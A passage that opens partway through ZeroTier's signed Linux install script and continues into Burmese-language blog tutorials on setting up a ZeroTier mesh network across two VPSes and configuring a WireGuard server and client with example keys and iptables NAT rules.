	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F precise`" ]; then
		echo '*** Found Ubuntu "precise", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/precise precise main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F artful`" ]; then
		echo '*** Found Ubuntu "artful", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/artful artful main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F bionic`" ]; then
		echo '*** Found Ubuntu "bionic", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/bionic bionic main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F yakkety`" ]; then
		echo '*** Found Ubuntu "yakkety", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/yakkety yakkety main" >/tmp/zt-sources-list
	elif [ -f /etc/lsb-release -a -n "`cat /etc/lsb-release 2>/dev/null | grep -F disco`" ]; then
		echo '*** Found Ubuntu "disco", creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/disco disco main" >/tmp/zt-sources-list
	elif [ "$dvers" = "6" -o "$dvers" = "squeeze" ]; then
		echo '*** Found Debian "squeeze" (or similar), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/squeeze squeeze main" >/tmp/zt-sources-list
	elif [ "$dvers" = "7" -o "$dvers" = "wheezy" ]; then
		echo '*** Found Debian "wheezy" (or similar), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/wheezy wheezy main" >/tmp/zt-sources-list
	elif [ "$dvers" = "8" -o "$dvers" = "jessie" ]; then
		echo '*** Found Debian "jessie" (or similar), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/jessie jessie main" >/tmp/zt-sources-list
	elif [ "$dvers" = "9" -o "$dvers" = "stretch" ]; then
		echo '*** Found Debian "stretch" (or similar), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/stretch stretch main" >/tmp/zt-sources-list
	elif [ "$dvers" = "10" -o "$dvers" = "11" -o "$dvers" = "sid" -o "$dvers" = "buster" -o "$dvers" = "bullseye" -o "$dvers" = "parrot" ]; then
		echo '*** Found Debian "buster", or "sid" (or similar), creating /etc/apt/sources.list.d/zerotier.list'
		echo "deb ${ZT_BASE_URL_HTTP}debian/buster buster main" >/tmp/zt-sources-list
	else
		echo "*** FAILED: unrecognized or ancient distribution: $dvers"
		exit 1
	fi

	$SUDO mv -f /tmp/zt-sources-list /etc/apt/sources.list.d/zerotier.list
	$SUDO chown 0 /etc/apt/sources.list.d/zerotier.list
	$SUDO chgrp 0 /etc/apt/sources.list.d/zerotier.list
	$SUDO apt-key add /tmp/zt-gpg-key

	echo
	echo '*** Installing zerotier-one package...'

	# Pre-1.1.6 Debian package did not properly enumerate its files, causing
	# problems when we try to replace it. So just delete them to force.
	if [ -d /var/lib/zerotier-one ]; then
		$SUDO rm -f /etc/init.d/zerotier-one /etc/systemd/system/multi-user.target.wants/zerotier-one.service /var/lib/zerotier-one/zerotier-one /usr/local/bin/zerotier-cli /usr/bin/zerotier-cli /usr/local/bin/zero
	fi

	cat /dev/null | $SUDO apt-get update
	cat /dev/null | $SUDO apt-get install -y zerotier-one
elif [ -f /etc/SuSE-release -o -f /etc/suse-release -o -f /etc/SUSE-brand -o -f /etc/SuSE-brand -o -f /etc/suse-brand ]; then
	echo '*** Found SuSE, adding zypper YUM repo...'
	cat /dev/null | $SUDO zypper addrepo -t YUM -g ${ZT_BASE_URL_HTTP}redhat/el/7 zerotier
	cat /dev/null | $SUDO rpm --import /tmp/zt-gpg-key

	echo
	echo '*** Installing zeortier-one package...'

	cat /dev/null | $SUDO zypper install -y zerotier-one
elif [ -d /etc/yum.repos.d ]; then
	baseurl="${ZT_BASE_URL_HTTP}redhat/el/7"
	if [ -n "`cat /etc/redhat-release 2>/dev/null | grep -i fedora`" ]; then
		echo "*** Found Fedora, creating /etc/yum.repos.d/zerotier.repo"
		baseurl="${ZT_BASE_URL_HTTP}redhat/fc/22"
	elif [ -n "`cat /etc/redhat-release 2>/dev/null | grep -i centos`" -o -n "`cat /etc/redhat-release 2>/dev/null | grep -i enterprise`" ]; then
		echo "*** Found RHEL/CentOS, creating /etc/yum.repos.d/zerotier.repo"
		baseurl="${ZT_BASE_URL_HTTP}redhat/el/\$releasever"
	elif [ -n "`cat /etc/system-release 2>/dev/null | grep -i amazon`" ]; then
		echo "*** Found Amazon (CentOS/RHEL based), creating /etc/yum.repos.d/zerotier.repo"
		if [ -n "`cat /etc/system-release 2>/dev/null | grep -F 'Amazon Linux 2'`" ]; then
			baseurl="${ZT_BASE_URL_HTTP}redhat/el/7"
		else
			baseurl="${ZT_BASE_URL_HTTP}redhat/amzn1/2016.03"
		fi
	else
		echo "*** Found unknown yum-based repo, using el/7, creating /etc/yum.repos.d/zerotier.repo"
	fi

	$SUDO rpm --import /tmp/zt-gpg-key

	$SUDO rm -f /tmp/zerotier.repo
	echo '[zerotier]' >/tmp/zerotier.repo
	echo 'name=ZeroTier, Inc. RPM Release Repository' >>/tmp/zerotier.repo
	echo "baseurl=$baseurl" >>/tmp/zerotier.repo
	echo 'enabled=1' >>/tmp/zerotier.repo
	echo 'gpgcheck=1' >>/tmp/zerotier.repo

	$SUDO mv -f /tmp/zerotier.repo /etc/yum.repos.d/zerotier.repo
	$SUDO chown 0 /etc/yum.repos.d/zerotier.repo
	$SUDO chgrp 0 /etc/yum.repos.d/zerotier.repo

	echo
	echo '*** Installing zerotier-one package...'

	if [ -e /usr/bin/dnf ]; then
		cat /dev/null | $SUDO dnf install -y zerotier-one
	else
		cat /dev/null | $SUDO yum install -y zerotier-one
	fi
fi

$SUDO rm -f /tmp/zt-gpg-key

if [ ! -e /usr/sbin/zerotier-one ]; then
	echo
	echo '*** Package installation failed! Unfortunately there may not be a package'
	echo '*** for your architecture or distribution. For the source go to:'
	echo '*** https://github.com/zerotier/ZeroTierOne'
	echo
	exit 1
fi

echo
echo '*** Enabling and starting zerotier-one service...'

if [ -e /usr/bin/systemctl -o -e /usr/sbin/systemctl -o -e /sbin/systemctl -o -e /bin/systemctl ]; then
	$SUDO systemctl enable zerotier-one
	$SUDO systemctl start zerotier-one
	if [ "$?" != "0" ]; then
		echo
		echo '*** Package installed but cannot start service! You may be in a Docker'
		echo '*** container or using a non-standard init service.'
		echo
		exit 1
	fi
else
	if [ -e /sbin/update-rc.d -o -e /usr/sbin/update-rc.d -o -e /bin/update-rc.d -o -e /usr/bin/update-rc.d ]; then
		$SUDO update-rc.d zerotier-one defaults
	else
		$SUDO chkconfig zerotier-one on
	fi
	$SUDO /etc/init.d/zerotier-one start
fi

echo
echo '*** Waiting for identity generation...'

while [ ! -f /var/lib/zerotier-one/identity.secret ]; do
	sleep 1
done

echo
echo "*** Success! You are ZeroTier address [ `cat /var/lib/zerotier-one/identity.public | cut -d : -f 1` ]."
echo

exit 0
-----BEGIN PGP SIGNATURE-----

iQJJBAEBCAAzFiEEdKXpxFjhpDHx2lenFlcZiCPlKmEFAl1xWtcVHGNvbnRhY3RA
emVyb3RpZXIuY29tAAoJEBZXGYgj5SphwG0P/ivxhHR3pdh4JllFVUcw6JM0zbzQ
eeURN0edizgjXMSIW1OIJ2oDTnTHbc3nxYXurfM2DNakGW6xs0aHgPTvTziZj7XN
xu5AMMmigaqwbODLgtyy8aPOeDbwKRJCm9o/V1XZ+Cj8tTE6B/I2A+UA0eIit7ue
iNNbZjYiUavPJlrbqpwsm5wlDygGIM1K838HLd8EJtgay95A2UQET9ZYLVztNuUx
Ar6ppxDV/pSJo7IFd+012pC5RZUWFslDhATXTI+MEIE+qQRzjk5jDOVUEoKmY+0f
VNK6o/6wPbzmbb540RahmdW86PKcFcx2Qk+b0qK2QL9eHbrAo8QfukVOQOfSMGzw
etnXVP0ugYxcs76CmjjuGB0dXn+5NAeOAj4RbmXw5ImsH5jCWrqvNgirMs86PAiS
QZt2N27LocNkzvVMfRp8NQnr/u+K2ieVUzxyhVZh0pVQhaghcxJFPTy0QHjM8+Rx
6dCXcpA2jmxiLFecYhs3FbwvmDxIKd5vW30fVHgwBObyl0/8udd7xjledNoZ6U7N
GAbbrLAeeqDOTaFH4cGtLpG3i4A2aNF1Y/6BMFcRiCjd2i7IKSx7hfUmELAHCdkO
lY3ziuqG8d68Qi8Cs8tDQNWFGlzzCNGtg/GVz69C86walkQQhdW/g4jTaPyh0yca
wcrBUY3kl8s0/g7x
=uxUj
-----END PGP SIGNATURE-----
```

ပုံမှန်အားဖြင့်တော့ Linux user တစ်ယောက်အနေနဲ့ curl လို command မျိုးနဲ့ Internet ပေါ်မှာတွေ့ကရာ link ကနေရတဲ့ ဘယ်လို script မျိုးကို မဆို sudo နဲ့ တွဲပြီးတော့ execute မလုပ်သင့်ပါဘူး။ (စာရေးသူက VPS အသစ်နှစ်ခုကို လတ်လတ်ဆက်ဆက် deploy လုပ်ပြီးတော့ အလွယ်သဘောမျိုးနဲ့ root account ပဲသုံးထားတဲ့အတွက် sudo မပါလည်း သက်ရောက်မူက အတူတူပါပဲ။) ကိုယ် download လုပ်မယ့် script ရဲ့ content ကို အနည်းငယ်လေ့လာပြီးတော့၊ သုံးသပ်ပြီးတော့မှ အခုလိုမျိုး curl ကို sudo bash နဲ့ တွဲပြီးတော့ အသုံးပြုသင့်ပါတယ်။ အကယ်လို့များ script ဟာ malicious code တွေဖြစ်နေရင် ကိုယ်ရဲ့ system တစ်ခုလုံးကို ဆုံးရှုံးနိုင်ပါတယ်။ အဲ့ဒီအတွက်သတိနဲ့ ကပ်ပြီးတော့ အသုံးပြုသင့်ပါတယ်။ CentOS နဲ့ Ubuntu system နှစ်ခုလုံးမှာ install လုပ်ပြီးရင်တော့ အောက်ကအတိုင်းတွေ့ရမှာဖြစ်ပါတယ်။ အပေါ်ကတစ်ခုမှာ CentOS 8 Stream ကိုတင်ထားပြီးတော့၊ အောက်ကတစ်ခုမှာတော့ Ubuntu 20.10 ကိုတင်ထားတာဖြစ်တဲ့အတွက် အခုလိုမျိုးတွေ့မြင်ရတာပဲဖြစ်ပါတယ်။

VPS နှစ်ခုလုံးပေါ်မှာ ZeroTier ကို install လုပ်ပြီးတဲ့နောက်မှာတော့၊ ကိုယ့်ရဲ့ network ကိုအောက်ကအတိုင်း join လိုက်ရုံပါပဲ။ ကိုယ်က root account နဲ့ run တာမဟုတ်ရင်တော့ sudo ထည့်စရာလိုပါတယ်။

```
sudo zerotier-cli join 885033839017a5c3
```

အားလုံးအဆင်ပြေရင် ကိုယ်ရဲ့ node ဘက်မှာ အောက်ကအတိုင်း တွေ့ရမှာဖြစ်ပါတယ်။

ZeroTier portal ဘက်မှာတော့ အောက်မှာလိုမျိုးတွေ့ရပါလိမ့်မယ်။ အပေါ်တစ်ခုက Tokyo မှာ deploy လုပ်ထားတဲ့ CentOS 8 Stream VPS (IP: 45.32.51.8) ဖြစ်ပြီးတော့၊ အောက်ကတစ်ခုကတော့ Sydney မှာ deploy လုပ်ထားတဲ့ Ubuntu 20.10 VPS (IP: 108.61.185.145) တို့ပဲဖြစ်ပါတယ်။ ကိုယ်က node တစ်ခုချင်းစီရဲ့ short name နဲ့ description ကိုထည့်ထားချင်ရင်လည်း ဒီ interface မှာထည့်လို့ ရနိုင်ပါတယ်။

Network တစ်ခုမှာ member တွေကိုထည့်သွင်းလိုက်ရုံနဲ့ ချက်ချင်း ချိတ်ဆက်ပြီးသား မဖြစ်သေးပါဘူး။ Auth? ဆိုတဲ့ column ကို tick လုပ်လိုက်မှ နောက်ဆုံးအဆင့် authentication လုပ်တဲ့စီကိုရောက်ပါတော့တယ်။ အောက်မှာတော့ Auth? ကို tick လုပ်ပြီးသွားရင် အားလုံးအဆင်သင့်ဖြစ်ပါပြီ။

အခုဆိုရင်တော့… mesh network တစ်ခုရဲ့ အခြေခံကို စတင်ပြီးတော့ သုံးနိုင်နေပါပြီ။ ကိုယ်လိုချင်တဲ့ routing နဲ့ network တွေကို ချိတ်ဆက်လိုက ချိတ်ဆက်နိုင်ပါပြီ။ ဘာ VPN server တစ်ခုကို အိမ်မှာ setup လုပ်စရာမလိုပဲနဲ့ အခုလိုမျိုး mesh network တစ်ခုကို အလွယ်တကူ တည်ဆောက်ခြင်းဖြင့် ကိုယ့်အိမ်က network ဟာ double-NAT သို့မဟုတ် Carrier-Grade NAT (CGN) နောက်မှာပဲရောက်နေပါစေ၊ ရှိသမျှ NAT တွေကို အတွင်းထဲကနေပြန်ပြီးတော့ punch-back လုပ်တာဖြစ်တဲ့အတွက် ကိုယ့်အိမ်က network ကို port-forwarding လုပ်ပြီး internet ပေါ်မှာ ဘယ်လို port မျိုးကိုမှ expose လုပ်စရာမလိုတော့ပါဘူး။ မဖြစ်မနေသုံးဖို့အတွက်တော့ လုံးဝကိုအဆင်ပြေတဲ့ နည်းလမ်းတစ်ခုမို့ ပြန်လည် ဝေမျှလိုခြင်းဖြစ်ပါတယ်။ Backend မှာတော့ တော်တော်လေးကို ရှုပ်ထွေးလှတဲ့ overlay network virtualisation ကိုသုံးထားတာဖြစ်ပြီးတော့၊ အသေးစိတ်ကိုသိချင်ရင် ဒီ [link](https://www.zerotier.com/manual/) မှာသွားဖတ်လို့ရပါတယ်။ စာရေးသူ အစမှာပျိုးခဲ့သလိုမျိုးပဲ backend မှာသုံးထားတဲ့ နည်းပညာအကုန်လုံး သိစရာမလိုပဲနဲ့ mesh network တစ်ခုကို အလွယ်တကူ deploy လုပ်နိုင်တဲ့ အနေအထားမျိုးမို့၊ အချို့သော VPN နဲ့ routing အခြေခံလောက်ကိုတော့ ကိုယ်သိထားရပါလိမ့်မယ်။ Performance မှာတော့ WireGuard လောက်မကောင်းတာကို ကိုယ်တွေ့ကြုံရလို့ သတိတော့ပေးချင်ပါတယ်။ သို့သော်… Out-Of-Band (OOB) network management အတွက်ဆိုရင်တော့ Raspberry PI လိုမျိုး SoC device လေးတွေနဲ့ တွဲပြီးတော့ ZeroTier ကိုသုံးချင်ရင်တော့ လုံဝ valid ဖြစ်တဲ့ use case တစ်ခုပါ။ အခြားသော ကိုယ်သုံးချင်တဲ့ low bandwidth လိုအပ်မျိုးပဲ လိုအပ်တဲ့ project တွေအတွက်လည်း အသုံးပြုနိုင်ပါတယ်။ စိတ်ဝင်စားပြီး အသုံးတည့် မယ်လို့ မျှော်လင့်ပါတယ်။ ဒီ post ကိုဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။


# WireGuard အကြောင်းသိကောင်းစရာ

အရှေ့ post မှာတော့ ssh tunneling အကြောင်းကို အကျယ်တဝင့်ရှင်းပြသွားပြီးသားမို့ tunneling လုပ်နိုင်တဲ့ protocol တွေ ရိုးရှင်းသလောက် ဘယ်လောက်တောင် အလုပ်ဖြစ်သလဲဆိုတာ စာဖတ်သူတို့ သိသင့်သလောက် သိထားပြီးကြပါပြီ။ post အရမ်းရှည်သွားမှာကိုလည်း မလိုလားလို့ ssh tunneling တစ်ခုတည်းကိုသာ သီးသန့်ရှင်းလိုက်ပြီးတော့ WireGuard အကြောင်းကို အကြမ်းဖျင်း အနေနဲ့သာ အစပျိုးခဲ့ပါတယ်။ အထူးသဖြင့် Jupiter Broadcasting ရဲ့ shows တွေအကြောင်းကိုလည်း တော်တော်များများ မိတ်ဆက်ပေးခဲ့ပါတယ်။ စာရေးသူအတွက်တော့ အလုပ်သွားတဲ့ အချိန်နဲ့ အလုပ်မှာ အလုပ်နည်းနည်းပါးတဲ့ အချိန်တွေမှာတော့ podcast လေးတွေက တော်တော်လေးကို အဆင်ပြေပါတယ်။ shows မှာလာပြီးပါဝင်တဲ့ guest တွေက technical background မျိုးစုံပါတဲ့အတွက် ပြောတဲ့ topic တွေက sysadmin ကစလို့ DevOps နဲ့ storage specialist တွေအပါအဝင် core programmer၊ cloud engineer အပြင် open source က entrepreneur တွေပါ ပါဝင်တတ်တာမို့ အလွန်ကို စုံစုံလင်လင်ရှိလှပါတယ်။ စာရေးသူ WireGuard ကို စတင်တွေရှိခဲ့တာလည်း သူတို့ အမြဲပြောတတ်တဲ့ Lightweight Overlay Network တစ်ခုဆိုလို့ စိတ်ဝင်စားရာမှ လေ့လာမိတဲ့ open source က tools လေးတစ်ခုဖြစ်ပါတယ်။ ပေါ့ပါးသလောက် setup လုပ်ရတာလည်း အရမ်းကိုလွယ်ကူလှပါတယ်။ OpenVPN လိုမျိုး အဆင့်ပေါင်းများစွာ setup လုပ်စရာသိပ်မလိုပါဘူး။ စာရေးသူရဲ့ အတွေ့အကြုံအရ ဆိုရင် OpenVPN ထက် ၂ ဆ ၃ ဆ ပိုလည်းမြန်ပြီး VPN connection ရဲ့ bandwidth လည်း OpenVPN ထက် ၂ ဆ ကျော်ကျော်လောက် ပိုရပါတယ်။ စာရေးသူ iPerf3 ကိုအသုံးပြုတော့ benchmark လုပ်တာဖြစ်ပါတယ်။

### WireGuard မိတ်ဆက်

WireGuard ကို စာဖတ်သူ တချို့လည်းသိနေနှင့်ပြီးသား ဖြစ်နိုင်သလို၊ မသိသေးသူတွေလည်း အများကြီးရှိနိုင်ပါတယ်။ Open source ရဲ့ free VPN solution ဆိုလိုက်ရင်တော့ OpenVPN နဲ့ IPsec လိုမျိုး implementation တွေကိုလူသိများပါတယ်။ စာရေးသူ ကိုယ်တိုင်လည်း လက်ရှိအချိန်ထိ OpenVPN နဲ့ WireGuard ကိုတွဲပြီးတော့ အသုံးများပါတယ်။ ကိုယ်လိုချင်တဲ့ routed နဲ့ bridged setup မှာတော့ WireGuard (wg) ကိုအသုံးများပါတယ်။ စာရေးသူ နေ့စဥ်တိုင်းလို အသုံးပြုဖြစ်ပါတယ်။ WireGuard (wg) ရဲ့ ထူးခြားချက်က Linux kernel ရဲ့ module တစ်ခုအနေနဲ့ ရှိနေတာမို့ Linux OS နဲ့ တသားတည်း ဖြစ်နေတယ်လို့ ဆိုနိုင်ပါတယ်။ အဲ့ဒါကြောင့်လည်း performance ပိုင်းမှာ Linux ပေါ်မှာ run မယ်ဆိုရင် အခြားသော VPN solution တွေထက် အများကြီးသာပါတယ်။ VPN Server/Client ပုံစံမျိုးထက်၊ point-to-point လိုမျိုး setup မှာ WireGuard (wg) အသာစီးရပါတယ်။ အောက်မှာ configuration လုပ်တဲ့အခါ WireGuard ကဘယ်လောက်တောင် elegant ဖြစ်သလဲဆိုတာ တွေ့ပါလိမ့်မယ်။ site နှစ်ခုကို tunnel အနေနဲ့ တည်ဆောက်ဖို့ကို OpenVPN လို၊ IPsec လိုဘာမှ အများကြီးလုပ်စရာ မလိုပဲနဲ့ WireGuard ကို နှစ်ဘက်စလုံးမှာ install လုပ်ပြီးတော့ static configuration file တစ်ခုကို public key နဲ့ private key တို့နဲ့အတူ setup လုပ်ပေးလိုက်ရုံပါပဲ။ restriction တွေကိုလည်း လိုအပ်သလို ပြင်ဆင်ပြီးတော့ ထည့်သွင်းအသုံးပြုရုံပါပဲ။ အစပိုင်းမှာတော့ Linux အတွက်ပဲ ထုတ်ထားတာကနေအခုဆိုရင် platform နီးပါးတိုင်းမှာ တင်ပြီးတော့ အသုံးပြုလို့ရပါတယ်။ ဒီ post မှာတော့ စာရေးသူ အနေနဲ့ Linux platform မှာဘယ်လို အသုံးပြုသလဲဆိုတာကို ရှင်းပြပေးသွားပါ့မယ်။

### WireGuard ကို install လုပ်ပုံ

**Ubuntu ပေါ်မှာ install လုပ်နည်း**

```
$ sudo apt-get install wireguard -y
```

အထက်ကအတိုင်း ဆိုင်ရာ distro မှာ WireGuard ကို install လုပ်ပြီးရင်တော့ နောက်တဆင့်မှာ public key၊ private key နဲ့ wg0.conf configuration file တွေကို ဆက်ပြီးတော့ setup လုပ်ရပါ့မယ်။ ကိုယ်အသုံးပြုမယ့် node တွေအကုန်လုံးမှာ WireGuard ကို install လုပ်ရမှာဖြစ်ပါတယ်။ ဒီ post မှာတော့ စာရေးသူ Ubuntu 18.04 ကို အသုံးပြုပြီးတော့ WireGuard ကို setup လုပ်ပုံကို ရှင်းပြသွားမှာဖြစ်ပါတယ်။

### WireGuard ကို configure လုပ်ပုံ

WireGuard ကို ဘယ် Linux box မှာမဆို run လို့ရတဲ့အတွက် Linux VM သို့မဟုတ် Linux bare metal server တစ်ခုပေါ်မှာ configure လုပ်ပြီးတော့ setup လုပ်ရတာပို အဆင်ပြေပါတယ်။ အချို့သော Firewall/Router vendor အချို့မှာတော့ WireGuard ကို built-in အသုံးပြုလို့ ရအောင် အဆင်သင့် integrate လုပ်ထားတဲ့အတွက် Linux box နောက်တစ်ခုမလိုပဲနဲ့ Firewall/Router ပေါ်မှာလည်း setup လုပ်လို့ရပါတယ်။ ဒီ post မှာတော့ Linux box ကို Firewall/Router ရဲ့ အနောက်မှာ ထားပြီးတော့ setup လုပ်တဲ့ပုံစံကို ရှင်းပြသွားပါ့မယ်။ အောက်ကပုံ ကတော့ topology diagram အကြမ်းဖျင်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4b175f6ce16fc15a83fb24dc86418e18bd9cc54d%2FWireGuard-Topology-Diagram-1024x214.png?alt=media" alt=""><figcaption></figcaption></figure>

ပုံထဲမှာတော့ ကိုယ့်အိမ်မှာ self-hosted လုပ်ထားတဲ့ Linux Server ကို WireGuard Local Node လို့ခေါ်ထားပြီးတော့ ကိုယ်အပြင်ကနေ ချိတ်ဆက်ပြီးတော့ အသုံးပြုချင်တဲ့ Laptop/PC ကို remote PC သို့မဟုတ် WireGuard Remote Node လို့ ခေါ်ထားပါတယ်။ အရှင်းဆုံးပြောမယ်ဆိုရင် WireGuard Server Node နဲ့ Client Node ဆိုပြီးမြင်မယ်ဆိုရင်လည်းရပါတယ်။ WireGuard မှာတော့ server ရယ်၊ client ရယ်လို့ မရှိပါဘူး။ ကိုယ်ကြိုက်သလို point-to-point overlay networking ပုံစံမျိုး setup လုပ်ချင်လည်းရပါတယ်။ များသောအားဖြင့် WireGuard ကိုအသုံးပြုတဲ့ ပုံစံတိုင်းမှာ တစ်ခုထက်ပိုတဲ့ remote client node တွေရှိနိုင်ပါတယ်။ WireGuard ရဲ့ architecture မှာတော့ hub-and-spoke model မျိုးကိုသာအသုံးပြုနိုင်မှာဖြစ်ပါတယ်။ Mesh overlay networking ပုံစံဖြစ်လာဖို့တော့ WireGuard project ရဲ့ Todo ထဲမှာ နောက်ပိုင်းထည့်သွားဖို့တော့ ရည်ညွန်းထားတာကိုတွေ့ရပါတယ်။ အဲ့ဒါကို အကောင်အထည် ဖော်လာဖြစ်ရင်တော့ WireGuard ကို MPLS network ပုံစံမျိုးကို home setup တွေမှာ အလွယ်တကူ အသုံးပြုလာနိုင်တော့မှာပါ။ နောက်ပြီး အရှေ့မှာပြောခဲ့သလိုပဲ WireGuard ဟာ Linux kernel ထဲမှာ ထဲထဲဝင်ဝင် integrate လုပ်ထားတဲ့အပြင် Linus Torvalds ကိုယ်တိုင် ကြိုက်နှစ်သက်လို့ Linux kernel ထဲမှာ module တစ်ခုအနေနဲ့ merge လုပ်ဖို့ ဖြစ်လာတဲ့အထိပါပဲ။ Codebase အားဖြင့် လိုင်းပေါင်း ၄၀၀၀ လောက်သာရှိပြီးတော့ ရိုးရှင်းလှတဲ့ implementation ကြောင့် အခုလို lightweight ဖြစ်ရတာလို့ စာရေးသူထင်ပါတယ်။ အကယ်လို့များကိုယ်က WireGuard ထက်ပိုပြီးတော့ ရှေ့ပြေးတဲ့ overlay networking tool ကို open source မှာ အသုံးပြုချင်တယ်ဆိုရင်တော့ နောက်ပိုင်းမှ ထွက်လာတဲ့ Nebula ဆိုတဲ့ Slack က open source လုပ်ပေးထားတဲ့ project တစ်ခုရှိပါတယ်။ Nebula ဟာအခုအချိန်ထိ စမ်းသပ်ဆဲကာလ ဖြစ်တာမို့ အချောသက်တော့ မပြီးသေးပါဘူး။ ကိုယ်ကစမ်းပြီးတော့ အသုံးပြုချင်တယ်ဆိုရင်တော့ စတင်စမ်းသပ်လို့ရပါပြီ။ စာရေးသူကိုယ်တိုင်လည်း Nebula ကိုလေ့လာဆဲ၊ စမ်းသပ်ဆဲမို့ လက်တွေမှာ အခုချပြစရာ တစ်ခုမှမရှိသေးပါဘူး။ ကိုယ်တိုင်နားလည်ပြီးရင်တော့ Nebula အတွက် post သီးသန့်တစ်ခုကို အသေးစိတ်ချပြချင်ပါတယ်။ Nebula ရဲ့ introduction ကိုတော့ ဒီ [link](https://slack.engineering/introducing-nebula-the-open-source-global-overlay-network-from-slack-884110a5579) မှာဖတ်ရှုနိုင်ပါတယ်။

WireGuard ကို setup လုပ်တဲ့ဘက်ကို ပြန်ပြီးတော့လှည့်လိုက်ရအောင်… ကိုယ့်ရဲ့ Linux box လည်း ready၊ ကိုယ့်ရဲ့ home router မှာလည်း ပုံမှာပြထားတဲ့ အတိုင်း port 51820 ကို ကိုယ့်ရဲ့ Linux box ဆီ port forward လုပ်ပြီးရင် WireGuard ကိုစတင် configure လုပ်ဖို့ပဲကျန်ပါတော့တယ်။ အောက်မှာတော့ ဘယ်လို setup လုပ်သလဲဆိုတာဆက်သွားပါ့မယ်။

#### **WireGuard ကို server node ပေါ်မှာ configure လုပ်ပုံ**

```
tyla@wg-srv-node:~$ sudo -i
[sudo] password for tyla:  [Enter your sudoer password]
# Generating public and private keys under /etc/wireguard directory
root@wg-srv-node:~# cd /etc/wireguard/
root@wg-srv-node:~# wg genkey | tee privatekey | wg pubkey > publickey
# Creating wg0.conf file for WireGuard configuration
root@wg-srv-node:~# vi wg0.conf
# this section is for local wg0 interface
[Interface]
# local wg0 interface IP address
Address = 10.1.10.1
# local wg server node's private key
PrivateKey = cC6caA87hRNhOYYLFRawzWCOxMHEzzxJCJKibDasPng=
# default wg listen port
ListenPort = 51820
# wg0 up post action on iptabes to activate redirecting all traffic 
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
# wg0 down post action on iptabes to deactivate redirecting all traffic 
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o ens3 -j MASQUERADE
# this section is for remote peer wg0 interface 
[Peer]
# remote peer's wg public key
PublicKey = LEQj4f1sNfrF7c+7tjTFBQ8GJjL8gog+ozj4QFgYcn8=
# remote peer's wg0 interface ip address
AllowedIPs = 10.1.10.2/32
# activate the wireguard wg0 interface 
root@wg-srv-node:~# wg-quick up wg0
```

**WireGuard ကို client node ပေါ်မှာ configure လုပ်ပုံ**

```
tyla@wg-cl-node:~$ sudo -i
[sudo] password for tyla:  [Enter your sudoer password]
# Generating public and private keys under /etc/wireguard directory
root@wg-cl-node:~# cd /etc/wireguard/
root@wg-cl-node:~# wg genkey | tee privatekey | wg pubkey > publickey
# Creating wg0.conf file for WireGuard configuration
root@wg-cl-node:~# vi wg0.conf
# this section is for local wg0 interface
[Interface]
# local wg0 interface ip address
Address = 10.1.10.2
# local wg client node's private key
PrivateKey = aCKXChbpzlvJtdOpnYLmc/fEGH+5W7Tx/ZveSqczYVA=
# this section is for wireguard server node's wg0 interface 
[Peer]
# wireguard server node's public key
PublicKey = X8pnECl9ha2CX0JI7GsI1ygjRF4Mu1e+Lyira3EE4j0=
# wireguard server node's public ip address with port number 51820
Endpoint = 156.215.24.12:51820
# all traffic redirect thru wireguard server node 
AllowedIPs = 0.0.0.0/0
# every 25 seconds to check the wg connection status for persistence 
PersistentKeepalive = 25
# activate the wireguard wg0 interface 
root@wg-cl-node:~# wg-quick up wg0
```

သူ့ရဲ့ configuration ကဒါပါပဲ။ ကိုယ်လုပ်တာအကုန်မှန်တယ်ဆိုရင်တော့ wg ဆိုတဲ့ command ကို prompt မှာရိုက်ထည့်လိုက်ရင် တဘက်တချက်စီမှာ ကိုယ့်ရဲ့ peer နဲ့ဆိုင်တဲ့ အချက်အလက်တွေကို တွေ့ရမှာပဲဖြစ်ပါတယ်။ နောက်ပြီး wg server နဲ့ client node ကြားမှာ 10.1.10.0 ip ကို ping ကြည့်လို့ရတယ်ဆိုရင် wireguard ရဲ့ connection က စတင် အလုပ်လုပ်ပါပြီ။ WireGuard client node ဘက်မှာ AllowedIPs ကို ကိုယ် route ချင်တဲ့ ip address သို့မဟုတ် subnet ကိုလည်း အောက်မှာလို comma နဲ့ ထက်ပြီးတော့ ပေါင်းထည့်လို့ရပါတယ်။

```
AllowedIPs = 10.1.10.1/32, 192.168.0.0/24 
```

အထက်ကအတိုင်း ထည့်လိုက်ရင်တော့ wg server ရဲ့ IP address နဲ့၊ peer မှာရှိတဲ့ 192.168.0.0/24 ဆိုတဲ့ subnet နဲ့ကိုတာ WireGuard ရဲ့ tunnel ထဲမှာ route လုပ်မယ်လို့ပြောတာဖြစ်ပါတယ်။

